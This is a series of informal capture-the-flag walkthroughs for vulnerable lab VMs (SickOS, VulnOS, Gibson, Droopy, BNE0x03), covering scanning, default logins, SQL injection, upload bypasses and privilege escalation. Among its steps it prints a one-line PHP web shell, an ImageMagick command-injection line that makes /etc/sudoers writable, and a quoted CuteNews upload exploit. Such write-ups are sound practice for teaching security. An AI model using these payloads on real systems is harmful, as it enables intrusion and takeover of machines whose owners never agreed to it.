SickOS v1 challenge

Hi,
Looking for target I found 192.168.1.101 (VMWare).
Enumeration services:

OK, now we know which services we are able to attack. We can see that our target has http proxy server on 3128 and 8080 ports. Let's configure proxy server on our web browser. After that let's browse http://192,168.1.102

There is nothing. Let's run dirb through the proxy

The robots file is almost always interesting,so let's examine the file.

Ok, let's try browse /wolfcms. We can see screen as below

Excellent! I have run /wolfcms/?admin URL and I have checked admin:admin credentials, and BINGo!

Very good! Now we should look for some places to upload our reverse shell. I have found also CVE 2015-6567 toward my idea. I have been following the instruction from CVE 2015-6567 and I have created our reverse shell php file and named test.php.

Excellent! We have got limited shell.
I have found that in /var/www directory is located connect.py file, with root:root privileges. We can escalate our privileges using this file, because the file is execute periodically. I was searching also other way to escalate our privileges and I found in /var/www/wolfcms/config.php

We know from /home directory that exist sickos user. Let's try log in as a sickos with known password.

and

Game over

VulnOS v2 challenge

Hello all,
Today I would like to present VulnOS challenge walkthrough. I hope that all what will be done is clear for you :-)
So, let's get started.

OK, so our target is 192.168.56.102 (our target is set up as a host-only in Virtual Box).

Good, now we can see 22 (SSH), 80 (Web application) and 6667 (IRC) ports. I prefer begin from Web Application as always.

OK, so we can see link website. I think that good idea will be run drib at the meantime.
Dirb result:

As we see, we have got nothing interesting. Se let's investigate the web app further. Clicking on the link we have got screen as below.

Nothing special. In the Documentation is something strange.

 



Let's check the /jabcd0cs/.

Wow! We can log in as a guest with guest:guest credentials. I have checked in the source code that we have pleasure with 1.2.7 opendocman. I had performed research and I have found exploit (CVE: 2014-1945).Unfortunately Improper Access Control in OpenDocMan doesn't give us fat chance to get limited shell, so let's try SQL Injection vulnerability via sqlmap.
Proof of concept:

OK, we are pretty sure that add_value parameter is vulnerable to SQL Injection and we should go deeper.

Deeper into drupal7 db

We see that password has been 'encrypted' via SHA hash function. We have to crack the password because our target has 22/SSH open port.From jabcd0cs database credentials

I have broken the password for webmin, the password is webmin1980. Let's try log in via SSH.

Great!









As far as I know, we should find exploit to privilege escalation without any problem (CVE: 2015-8660).

Game over!

SickOS v2 challnege

Hi,
Looking for our target

OK, out target has assigned 192.168.1.102 IP address.

Scanning

Good, I prefer begin pentesting form web application.

The above picture is a default page. Source code contain only information that this picture is named blow.jpg. I have run dirbuster and

The /test/ directory is empty, and index.php contains the blow.jpg picture. I haven't found exploits to lighttp and OpenSSH. Hmmm, /test/ directory looks interesting but at first glance it is nothing special. In the meantime I downloaded the blow.jpg picture and I was looking for some sensitive informtion hardcodened into pic - without success.
I have tried PUT some script like a phpinfo and SUCCESS!!!

click on test.php and

Great! We have got following result because our test.php

<?php phpinfo(); ?>

It is our opportunity to upload reverse shell
I have uploaded out reverse shell script and named as shell1.php

<?php echo exec($_GET['cmd']); ?>

and let's try execute id command on shell

Excellent! We have got limited shell via web browser. It's not comfortable for me. I am going to try achieve limited shell in some other way.

TBU

Gibson challenge

Hi,

Scanning

Good, we have found our target. Now, we are able to scan a little deeper

Great! We have pleasure with no complex VM, because open are only two ports 80 and 22. I prefer examine web application.

Hmmm, it is strange for you also? Let's check what is in davinci.html

Probably it is some kind of hint. I am wondering about brute-force SSH, but don't know username and password both. In this case brute force would take a long time. So, let's run dirbuster
Hmmm, dirbuster found nothing interesting, I was trying perform brute-force, where username is davinci, but without success :-(
So, we should examine version of Apache Web Server and OpenSSH. As far as I know OpenSSH may be vulnerable to predictable PRNG. Damn it! It also gave me nothing interesting... Now I am pretty sure that /davinci.html MUST contain something helpful!
BINGO!

Probably username is margo and password is god, let's try via SSH log in.

Excellent! We have got limited shell! Let's check what kind of action we are able to perform via sudo

 Quite interesting!
I have verified that we have pleasure with Ubuntu 14.04.03, so I know that exist local root exploit

Game over! Thanks

Summary:
As we can see the challenge was very easy and didn't require advanced hacking tools and skills. All what we needed was time.

PS. I am going to try to find another way to hack this machine

Second way - privilege escalation.
I was looking for details about convert Linux command and potentially vulns, and I have found CVE-2016-3714.
So , we are able to inject any shell command into convert syntax
Well, I have add write permission for root to sudoers file via

sudo convert 'https://example.com"|chmod +x "/etc/sudoers' out.png

 and I have changed part of content to

margo ALL= (ALL:ALL) ALL

We have got root again :-)

Kali Linux 2.0 on VMWare

Hi all,
I had a lot of problems with performance my Kali Linux 2.0 on VMWare Workstation. I have downloaded a iso image from official Kali Linux website. After installation on VMWare workstation I had problems - the Kali Linux was working very slow (for example during launch web browser). I experimented with processor options, etc. I changed desktop environment from GNOME to XFCE. Everything I was trying - without success.
In my case one manner has got my goal - Kali Linux 2.0 which works and isn't lagging.
I have download Kali Linux 2.0 Light version (this version doesn't contain all tools) and I have installed everything that has Kali Linux 2.0 Full via following command:

sudo apt-get upgrade -y && sudo apt-get install kali-linux-full -y

Summary
Now I am very glad that I have efficient Kali Linux 2.0 full with XFCE desktop environment :-)

Droopy CTF

Hi,
Today im going to present you a walkthrough of Droopt challenge.

root@osboxes:~# nmap -sP 192.168.1.0/24

[CUT]

Nmap scan report for 192.168.1.103
Host is up (0.00054s latency).
MAC Address: 00:0C:29:4F:82:66 (VMware)

[CUT]

root@osboxes:~# nmap -p- 192.168.1.103

[CUT]

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:4F:82:66 (VMware)

I open a browser and display the web application.

OK, I was trying conduct SQL Injection and default credentials attack but without success. So I examine a source code and BINGO!

Drupal 7 contains several vulnerabilities.I found one of them  -SQL Injection, I executed it and...

Excellent! We should verify this good news.

Great! We logged into admin account! We have to find some way upload a backdoor. I was trying with Avatar, with Add Content but without success.
Finally I found helpful options

Now we should check the PHP Filter and try inject into page content our reverse shell code.

and...

Excellent! We have gained limited shell!
We can check OS with details and find an exploit to escalate our peivileges (as an exercise for you).

Game over!

BNE0x03 challenge

Hi again,
Today I would like to present BNE0x03 walkthrough.

So, as always we should find our target

root@osboxes:~# nmap -sP 192.168.1.0/24

Starting Nmap 6.47 ( http://nmap.org ) at 2016-05-06 09:02 BST
[CUT]
Nmap scan report for 192.168.1.102
Host is up (0.0018s latency).
MAC Address: 00:0C:29:4E:16:F6 (VMware)
[CUT]

root@osboxes:~# nmap -sV 192.168.1.102

Starting Nmap 6.47 ( http://nmap.org ) at 2016-05-06 09:05 BST
Nmap scan report for 192.168.1.102
Host is up (0.0011s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))

[CUT]

Scanning all ports does not give us differnt result.
Now, we browse our target

Maybe exist some exploit for CuteNews v.2.0.3? I don't know, but probably I will verify it.
Let's run dirb now.

root@osboxes:~# dirb http://192.168.1.102/

[CUT]

==> DIRECTORY: http://192.168.1.102/core/                                     
==> DIRECTORY: http://192.168.1.102/docs/                                     
+ http://192.168.1.102/favicon.ico (CODE:200|SIZE:1150)                       
+ http://192.168.1.102/index.php (CODE:200|SIZE:2487)                         
+ http://192.168.1.102/server-status (CODE:403|SIZE:293)                      
==> DIRECTORY: http://192.168.1.102/skins/                                    
==> DIRECTORY: http://192.168.1.102/uploads/ 

It looks interesting, probably the application has upload feathure.
I was trying bypass authentication via SQL Injection but without success. But I found exploit to CuteNews 2.0.3.

==========================================================

 # Exploit  :

  

Vuln : http://127.0.0.1/cutenews/index.php?mod=main&opt=personal

   

 1 - Sign up for New User

 2 - Log In

 3 - Go to Personal options http://www.target.com/cutenews/index.php?mod=main&opt=personal

 4 - Select Upload Avatar Example: Evil.jpg

 5 - use tamper data  & Rename File Evil.jpg to Evil.php

   

-----------------------------2847913122899\r\nContent-Disposition: form-data; name="avatar_file"; filename="Evil.php"\r\

6 - Your Shell : http://127.0.0.1/cutenews/uploads/avatar_Username_FileName.php

 Example: http://127.0.0.1/cutenews/uploads/avatar_toxic_Evil.php

OK, so we have to follow the instruction. I register some account

 and I am logged into the application now :-)

Great, now we have to go to the Personal options and upload our avatar (reverse shell). I have uploaded my reverse shell file and I have got

Excellent we have got limited shell.

$ uname -a
Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux

I know that all what we need is exploit to get root privileges. I found Ubuntu 14.04 LTS, 15.10 - overlayfs Local Root Exploit.
I leave you now at this stage to complete the challenge as an exercise for you :-)

Game over!